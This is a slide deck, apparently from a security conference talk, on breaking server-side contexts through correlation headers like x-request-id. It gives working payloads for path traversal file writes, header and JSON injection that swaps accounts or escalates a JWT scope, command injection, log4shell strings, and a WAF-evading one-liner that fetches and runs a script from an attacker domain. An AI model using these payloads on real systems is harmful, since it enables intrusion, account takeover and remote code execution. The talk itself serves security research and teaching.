Finding the right one
Might show up in response: Might show up in ACAH:
Slide 17
Slide 17 text
Reflection is a good indicator
Slide 18
Slide 18 text
Reflection is a good indicator
Now what?
Slide 19
Slide 19 text
Fuzz!
Slide 20
Slide 20 text
Fuzz, but for what?
Slide 21
Slide 21 text
Fuzz, but for what?
• Problem: Don't know context we end up in
Slide 22
Slide 22 text
Fuzz, but for what?
• Problem: Don't know context we end up in
• Solution: Multiple tactics, blind or trigger error
Slide 23
Slide 23 text
1. Fuzz by trigger errors
Slide 24
Slide 24 text
1. Fuzz by trigger errors
ALL ZE CHARACTERS
x-request-id: ' " % & > [ ${ $( ` ; \
Slide 25
Slide 25 text
1. Fuzz by trigger errors
ALL ZE CHARACTERS
x-request-id: ' " % & > [ ${ $( ` ; \
Do regular testing while having it there
Slide 26
Slide 26 text
1. Fuzz by trigger errors
ALL ZE CHARACTERS
x-request-id: ' " % & > [ ${ $( ` ; \
Do regular testing while having it there
Weird things happen occasionally:
Slide 27
Slide 27 text
1. Fuzz by trigger errors
ALL ZE CHARACTERS
x-request-id: ' " % & > [ ${ $( ` ; \
Do regular testing while having it there
Weird things happen occasionally:
FUN! NOW
LET'S UNDERSTAND
WHY/WHAT
Slide 28
Slide 28 text
False positives
Slide 29
Slide 29 text
False positives
• Request-ID is validated against a pattern, for example:
^[a-f0-9-]{36}$
Slide 30
Slide 30 text
False positives
• Request-ID is validated against a pattern, for example:
^[a-f0-9-]{36}$
• Request-ID not allowed at all
Slide 31
Slide 31 text
Struggle disclaimer #2
We had no idea at
fi
rst.
Slide 32
Slide 32 text
What we found
Slide 33
Slide 33 text
What we found
Path traverse / arbitrary
fi
le write
Slide 34
Slide 34 text
What we found
Path traverse / arbitrary
fi
le write
x-request-id: 123-456-789
Slide 35
Slide 35 text
What we found
Path traverse / arbitrary
fi
le write
x-request-id: 123-456-789
Dumped metrics to /tmp/trace-data/123-456-789 containing the request-id itself
Slide 36
Slide 36 text
What we found
Path traverse / arbitrary
fi
le write
x-request-id: ../../../../var/www/html/.php
Slide 37
Slide 37 text
What we found
Path traverse / arbitrary
fi
le write
x-request-id: ../../../../var/www/html/.php
Dumped metrics to /tmp/trace-data/${requestId} containing the request-id itself
Slide 38
Slide 38 text
Path traverse / arbitrary
fi
le write
x-request-id: ../../../../var/www/html/.php
Dumped metrics to /tmp/trace-data/${requestId} containing the request-id itself
What we found
Slide 39
Slide 39 text
Path traverse / arbitrary
fi
le write
x-request-id: ../../../../var/www/html/.php
Dumped metrics to /tmp/trace-data/${requestId} containing the request-id itself
What we found
Slide 40
Slide 40 text
What we found
Header-injection
Slide 41
Slide 41 text
What we found
Header-injection
x-request-id: 1%0d%0ax-account: 456
Slide 42
Slide 42 text
What we found
Header-injection
x-request-id: 1%0d%0ax-account: 456
Request
fl
ow becomes:
Client req w/ x-request-id -> API proxy w/ header injected -> Backend service
Slide 43
Slide 43 text
What we found
Header-injection
x-request-id: 1%0d%0ax-account: 456
Request
fl
ow becomes:
Client req w/ x-request-id -> API proxy w/ header injected -> Backend service
GET /backend-service
Host: internal
x-request-id: 1
x-account: 456
x-account: 123
Slide 44
Slide 44 text
What we found
Header-injection
x-request-id: 1%0d%0ax-account: 456
Request
fl
ow becomes:
Client req w/ x-request-id -> API proxy w/ header injected -> Backend service
GET /backend-service
Host: internal
x-request-id: 1
x-account: 456
x-account: 123
Account 456 fetched instead!
Slide 45
Slide 45 text
What we found
Header-injection with Java (\u010d -> \u000d)
x-request-id: 1%c4%8d%c4%8anew-header: foo
Slide 46
Slide 46 text
What we found
Header-injection with Java (\u010d -> \u000d)
x-request-id: 1%c4%8d%c4%8anew-header: foo
GET /backend-service
Host: internal
x-request-id: 1
new-header: foo
Connection: close
Slide 47
Slide 47 text
What we found
https://x.com/irsdl/status/1338097015188819969
Header-injection with Java (\u010d -> \u000d), thank you @irsdl!
x-request-id: 1%c4%8d%c4%8anew-header: foo
GET /backend-service
Host: internal
x-request-id: 1
new-header: foo
Connection: close
Slide 48
Slide 48 text
What we found
Plain and simple OS-command injection
Slide 49
Slide 49 text
What we found
Plain and simple OS-command injection
x-request-id: $(id)
Slide 50
Slide 50 text
What we found
Plain and simple OS-command injection
x-request-id: $(id)
Slide 51
Slide 51 text
What we found
JSON-injection
Slide 52
Slide 52 text
What we found
JSON-injection
x-request-id: 1"},"payload":{"account":"456","foo":"
Slide 53
Slide 53 text
What we found
JSON-injection
x-request-id: 1"},"payload":{"account":"456","foo":"
Request
fl
ow becomes:
Client req w/ x-request-id -> API proxy w/ JSON-inj -> Backend service
Slide 54
Slide 54 text
What we found
JSON-injection
x-request-id: 1"},"payload":{"account":"456","foo":"
Request
fl
ow becomes:
Client req w/ x-request-id -> API proxy w/ JSON-inj -> Backend service
POST /backend-service
Host: internal
{
"payload":{"account":"123"},
"context":{"request-id":"1"},"payload":{"account":"456","foo":""}}
Slide 55
Slide 55 text
What we found
JSON-injection
x-request-id: 1"},"payload":{"account":"456","foo":"
Request
fl
ow becomes:
Client req w/ x-request-id -> API proxy w/ JSON-inj -> Backend service
POST /backend-service
Host: internal
{
"payload":{"account":"123"},
"context":{"request-id":"1"},"payload":{"account":"456","foo":""}}
Slide 56
Slide 56 text
What we found
JSON-injection
x-request-id: 1"},"payload":{"account":"456","foo":"
Request
fl
ow becomes:
Client req w/ x-request-id -> API proxy w/ JSON-inj -> Backend service
POST /backend-service
Host: internal
{
"payload":{"account":"123"},
"context":{"request-id":"1"},"payload":{"account":"456","foo":""}}
Account 456 fetched instead!
Slide 57
Slide 57 text
Server-side
JSON-injection
A quick "How to"
Slide 58
Slide 58 text
Server-side JSON-injection
• Di
ff
erence between " (error) and \" (ok)
Slide 59
Slide 59 text
Server-side JSON-injection
• Di
ff
erence between " (error) and \" (ok)
• Figure out where you are in the context
Slide 60
Slide 60 text
Server-side JSON-injection
• Di
ff
erence between " (error) and \" (ok)
• Figure out where you are in the context
Slide 61
Slide 61 text
Server-side JSON-injection
• Di
ff
erence between " (error) and \" (ok)
• Figure out where you are in the context
• Does it allow premature ending?
Slide 62
Slide 62 text
Server-side JSON-injection
• Di
ff
erence between " (error) and \" (ok)
• Figure out where you are in the context
• Does it allow premature ending?
id: 1"}x}} -> Error
id: 1"}}x} -> Error
id: 1"}}}x -> premature ending OK
Slide 63
Slide 63 text
Server-side JSON-injection
• Di
ff
erence between " (error) and \" (ok)
• Figure out where you are in the context
• Does it allow premature ending?
id: 1"}x}} -> Error
id: 1"}}x} -> Error
id: 1"}}}x -> premature ending OK
• Does it allow duplicate properties?
Other places to look for it
• S3-upload policies (@avlidienbrunn found this a few years before me)
Slide 72
Slide 72 text
Other places to look for it
• S3-upload policies (@avlidienbrunn found this a few years before me)
Slide 73
Slide 73 text
Other places to look for it
• S3-upload policies (@avlidienbrunn found this a few years before me)
Slide 74
Slide 74 text
Other places to look for it
• S3-upload policies (@avlidienbrunn found this a few years before me)
Slide 75
Slide 75 text
Other places to look for it
• S3-upload policies (@avlidienbrunn found this a few years before me)
Quirk:
Arbitrary
fi
elds not allowed.
"Conditions" is allowed but ignored
Slide 76
Slide 76 text
Other places to look for it
• S3-upload policies
• JWT
Slide 77
Slide 77 text
Other places to look for it
• S3-upload policies
• JWT
{"jti":"...","iss":"web","scope":"read","user":"frans"}
Slide 78
Slide 78 text
Other places to look for it
• S3-upload policies
• JWT
{"jti":"...","iss":"web","scope":"read","user":"frans"}
Username: frans","scope":"admin
Slide 79
Slide 79 text
Other places to look for it
• S3-upload policies
• JWT
{"jti":"...","iss":"web","scope":"read","user":"frans"}
Username: frans","scope":"admin
Result:
{"jti":"...","iss":"web","scope":"read","user":"frans","scope":"admin"}
Slide 80
Slide 80 text
2. Fuzz blindly
Slide 81
Slide 81 text
2. Fuzz blindly
We need Out-of-Band triggers to know
Slide 82
Slide 82 text
2. Fuzz blindly
We need Out-of-Band triggers to know
x-request-id: BLIND XSS
x-request-id: OOB RCE / BLIND RCE
x-request-id: SQL inj with DNS
x-request-id: log4shell
x-request-id: make your own adventure
Slide 83
Slide 83 text
What we found
Slide 84
Slide 84 text
What we found
log4shell
Slide 85
Slide 85 text
What we found
log4shell
x-request-id: ${jndi:rmi://x${sys:java.version}.mydomain/a}
Slide 86
Slide 86 text
What we found
log4shell
x-request-id: ${jndi:rmi://x${sys:java.version}.mydomain/a}
Slide 87
Slide 87 text
What we found
OOB RCE
Slide 88
Slide 88 text
What we found
OOB RCE
x-request-id: |ping `whoami`.mydomain.&
Slide 89
Slide 89 text
What we found
OOB RCE
x-request-id: |ping `whoami`.mydomain.&
~240 minutes later:
Slide 90
Slide 90 text
No content
Slide 91
Slide 91 text
Optimizing OOB/Blind RCE
Support multiple contexts
Slide 92
Slide 92 text
Optimizing OOB/Blind RCE
Slide 93
Slide 93 text
Optimizing OOB/Blind RCE
• As few special chars as possible
Slide 94
Slide 94 text
Optimizing OOB/Blind RCE
• As few special chars as possible
• Support:
$ `foo injection`
$ foo 'injection'
$ foo "injection"
$ foo injection
Slide 95
Slide 95 text
Optimizing OOB/Blind RCE
• As few special chars as possible
• Support:
$ `foo injection`
$ foo 'injection'
$ foo "injection"
$ foo injection
• Collect data when triggered
Slide 96
Slide 96 text
Optimizing OOB/Blind RCE
• ${IFS} often captured by WAF, $IFS is not?
Slide 97
Slide 97 text
Optimizing OOB/Blind RCE
• ${IFS} often captured by WAF, $IFS is not?
• Avoid spaces
Slide 98
Slide 98 text
Optimizing OOB/Blind RCE
• ${IFS} often captured by WAF, $IFS is not?
• Avoid spaces
Result:
Slide 99
Slide 99 text
Optimizing OOB/Blind RCE
• ${IFS} often captured by WAF, $IFS is not?
• Avoid spaces
Result:
'`curl$IFS@mydomain|sh`'$(curl$IFS@mydomain|sh)
Slide 100
Slide 100 text
Unique payloads
• Know when/where/how you sent each payload
Slide 101
Slide 101 text
Unique payloads
• Know when/where/how you sent each payload
• Poor man's generator:
Slide 102
Slide 102 text
Unique payloads
• Know when/where/how you sent each payload
• Poor man's generator:
Slide 103
Slide 103 text
Unique payloads
• Know when/where/how you sent each payload
• Poor man's generator:
Slide 104
Slide 104 text
Collection script
Slide 105
Slide 105 text
Collection script
If user-agent is curl:
Slide 106
Slide 106 text
Collection script
If user-agent is curl: Alert when it happens:
Conclusion
• Correlation headers expands attack surface
• Fuzz using errors and blind
Slide 112
Slide 112 text
Conclusion
• Correlation headers expands attack surface
• Fuzz using errors and blind
• JSON-injection more common than expected
Slide 113
Slide 113 text
Conclusion
• Correlation headers expands attack surface
• Fuzz using errors and blind
• JSON-injection more common than expected
• Let me know if you
fi
nd a new context to inject into!
Slide 114
Slide 114 text
Frans Rosén, @fransrosen, Midnight Sun 2024
Thank you! Any Q?
x-correlation
inject"},"ion":"s
or How to break server-side contexts